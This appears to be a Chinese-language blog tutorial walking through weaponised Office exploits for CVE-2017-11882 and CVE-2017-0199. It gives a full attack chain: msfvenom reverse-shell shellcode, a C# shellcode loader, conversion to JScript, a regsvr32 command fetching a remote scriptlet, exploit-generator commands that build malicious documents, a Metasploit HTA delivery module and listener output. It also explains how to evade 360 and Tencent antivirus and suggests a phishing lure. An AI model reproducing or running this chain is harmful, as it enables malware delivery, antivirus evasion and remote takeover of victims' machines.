Office CVE-2017-11882实战免杀

放在前面

 这里真的要感谢@余弦懒人在思考的公众号里发过的关于MSF免杀payload的推文,正是看着这篇文章,再联想到最近火热的office cve-2017-11882,才成功的构造了绕过电脑管家和360免杀的利用脚本。因为云服务器处于生产环境,并对外提供正经服务,所以只能以局域网环境“实战”

介绍

 因为关于office 11882的复现及利用都是使用mshta,这个利用方法已经被各杀软重点关注了,所以被拦截的概率会很大,上一篇复现时,连电脑管家都拦截提示了!!所以一个免杀的方法就是使用别的利用工具,而弦哥的这个推文刚好被我从公众号里搜索到,其实很多时候,我们虽然在众里寻他千百度,但很多人却没有“蓦然回首”。关注了这个漏洞的利用脚本的人都知道关键点是可注入的字符越长越好,方便利用,如果要换利用方式的话,替换注入字符就行,而这篇文章也是利用了这一点。

目录

一:生成payload

 使用msfvenom生成C#的payload

1
msfvenom  -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.231 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe

 虽然在弦哥的推文中说不用解释选线意义,但出于学习,我还是记录一下:
参数说明:-p:选择载荷模块;-a:系统架构(几位);-f:生成文件的格式;-b:设定规避字符集; PrependMigrate 和 PrependMigrateProc是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。

二:创建C#工程文件

 这里我使用vs2015,我这里.Net Framework本来是没有2.0的,是自己装的,vs2013就有。创建的新项目如下图:



 将如下代码黏贴覆盖到 Program.cs 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}

 然后将先前生成的 Payload 的黏贴到代码中注释为“//Paste your Payload here”的地方。这里注意只需要复制那些0x开头的字符,而不需要整个复制下来粘贴。保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”, 然后保存。如下图:



 在Release 版中添加对X86的支持,然后编译出来,可以得到一个(项目名.exe)



三:将生成的exe转换成js

 这里我们使用DotNetToJScript ,这是一款可以将 .net 程序转换为 jscript 代码的工具,下载地址:DotNetToJScript。下载好后进入项目文件夹,运行下面的命令:

1
E:\tools\DotNetToJScript>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program 86.exe

 这里的86.exe是上面编译生成的文件。运行后可以得到MSFWrapper.js,接下来我们用msf开始监听,这里不细说,直接贴图:



然后我们就可以用下面的命令执行我们的 MSF Payload:

1
C:\windows\SysWOW64\cscript.exe MSFWrapper.js



运行后,电脑管家跟360跟啥事都没发生过一样。。。。而我们已经Get Shell了



 到了这里,我们已经可以基本确定弦哥的方法是可行的了。因为要跟office 结合起来,所以我们还需要继续。

四:结合web server

 本地bypass是不够的,我们需要结合web server扩大影响。既然能够转换为 js 代码,那么我们自然会想到 sct。我们将转换后的 js 代码黏贴到下面代码中的“//paste code here”:

1
2
3
4
5
6
7
8
9
10
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Msf"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
//paste code here
</script>
</registration>
</scriptlet>

 保存为 msf.sct(后缀名可以更改,比如 jpg 等),这里注意,第一行一定要放在文件的第一行(第一行不能为空或其他),不然会出错,然后上传至 Web Server。

五:office上场

 我们需要注入:

1
regsvr32 /s /u /n /i:http://192.168.1.231/msf.sct c:\windows\SysWOW64\scrobj.dll



 才80个字节,现在的exp已经支持109字节了,所以,我们可以顺利的注入进去。这里我使用https://github.com/Ridter/CVE-2017-11882。命令如下:

1
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "regsvr32 /s /u /n /i:http://192.168.1.231/msf.sct c:\windows\SysWOW64\scrobj.dll" -o hello.doc

 这里需要注意我们使用109b的脚本,不要使用43B的。

 PS:最厉害的exp已经支持605字节,已经很厉害了!!附上
项目地址 。这样一来姿势又多了。

 把生成的文件发送给靶机,并打开该doc。








可以看到,我们又接收到一个shell,而且注意到电脑管家是全程静默的,没有任何提示及报毒。

 接下来,我关掉电脑管家,启用360.。



 可见360的预防效果还是强于电脑管家,但如果用户点击允许运行的话,360也不能阻止恶意的网络连接,最终还是能get shell的。



 这里再安利一下卡巴斯基,老毛子的杀软,像这样的文件,老毛子会告诉你什么是残酷,我把文件从虚拟机复制出来。



能活过1秒算我输。。。。

六:关于钓鱼



 这模板是不是很有诱惑~ 哈哈

 画风就变成这样:同学同学,我的实验报告写完了,你要。。。不。。。要。。。借鉴一下??(手动给个滑稽)

Office CVE-2017-0199复现

介绍


本文介绍在Ubuntu 14.04服务器版本下复现office cve-2017-0199。

环境

ubuntu 14.04服务器版

目录

1、验证

 Step 1:安装apache2服务



 Step 2:在网站根目录下创建1.rtf,内容如下:

1
2
3
4
test789 
<script>
var objShell = new ActiveXObject("wscript.shell"); objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

 Step 3:验证apache的配置文件mime.types里有rtf的content type项
因为mime.types的位置可能因系统而不同,所以直接使用find命令查找位置



 查看该文件,可以看到



 Step 4:使用office 2013 pro 创建空白文档,然后点击“插入”  “对象”,
在文件名上填写完整的网页地址,选择链接到文件



 点击“确定”,然后在文档中可以看到 test789。



 注:在此步中,很可能不成功,具体原因未知。
具体现象:在链接到1.rtf时显示找到路径,不存在该文件。但去链接同目录下的index.html文件时可以成功,成因未知。

 Step 5:将mime.types中的application/rtf rtf 改成 application/hta rtf
重启apache服务





 Step 6:双击对象







 可见成功利用CVE-2017-0199漏洞


2、取消交互

 为了取消用户交互,也就是让用户去双击
 Step 1:将文件另存为.rtf格式



。。。。。直接被卡巴检测到恶意文件.



 Step 2:用文本编辑器打开刚才保存的rtf格式文件,找到object标签所在地方



 把{object\objautlink\rsltpict 改成 {object\objautlink\objupdate\rsltpict

 保存文件再打开,这样就不用用户交互了。

 此时在虚拟机中新建一个空白文档,这时,在点击链接到文件后已经会自动弹出计算器了
虚拟机环境:win7,office 2010 pro








———-

### 3、Get Shell
 在kali中利用exploit
 Github地址:https://github.com/bhdresh/CVE-2017-0199

下载后,在情景1下实验

1
2
3
4
5
6
7
1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe


按以上命令依次运行




 可证实该exploit可行。
 但生成的.rtf在执行时会被杀软报毒,需要解决。

Office CVE-2017-11882复现


这两天,office又出名了,CVE-2017-11882成了圈里关注的热点,今年office爆出好几个漏洞,从CVE-2017-0199、CVE-2017-8570到现在的CVE-2017-11882,exp也是越来越简单粗暴。

下面,我也来蹭波热度。


Step1:万年计算器POC

POC GitHub:可以使用国外出现的第一份poc:https://github.com/embedi/CVE-2017-11882,不过已经停止更新了。这里我使用:https://github.com/Ridter/CVE-2017-11882。
使用clone或直接下载zip都行:

1
git clone https://github.com/Ridter/CVE-2017-11882.git

进入项目文件

1
2
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc
[*] Done ! output file --> calc.doc

用靶机打开



至此,以验证该漏洞存在。想在0199的时候还需要自己避免交互,现在poc直接帮你解决。。。


Step2:Get Shell

1、还是使用上一步的脚本

1
2
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "mshta http://192.168.1.231:8080/abc" -o test.doc
[*] Done ! output file --> test.doc

先把doc文档放到靶机。

2、上msf
首先添加利用脚本,我机子msf exp的路径是/usr/share/metasploit-framework/modules/exploits/windows,可以在这目录下新建一个文件夹。
将下面的脚本写入到PS_shell.rb。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end

def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end


def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf > use exploit/windows/new-exps/PS_shell 
msf exploit(PS_shell) >
msf exploit(PS_shell) >
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.231
lhost => 192.168.1.231
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.231:4444
[*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://192.168.1.231:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.231:8080/abc"


这里,Msf官方已经出了office_ms17-11882.rb的利用脚本。链接:
office_ms17-11882.rb,我还没有试,不过大家可以尝试。

回到靶机,打开test.doc。



此时,我们可以发现,shell已经反弹回来了.





至此,已经 get shell。


免杀版本

暂无,但是如果杀毒没有更新,还是能bypass的。。。

参考链接:


http://www.cnblogs.com/Hi-blog/p/7878054.html


http://payloads.online/archivers/2017-11-22/1

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×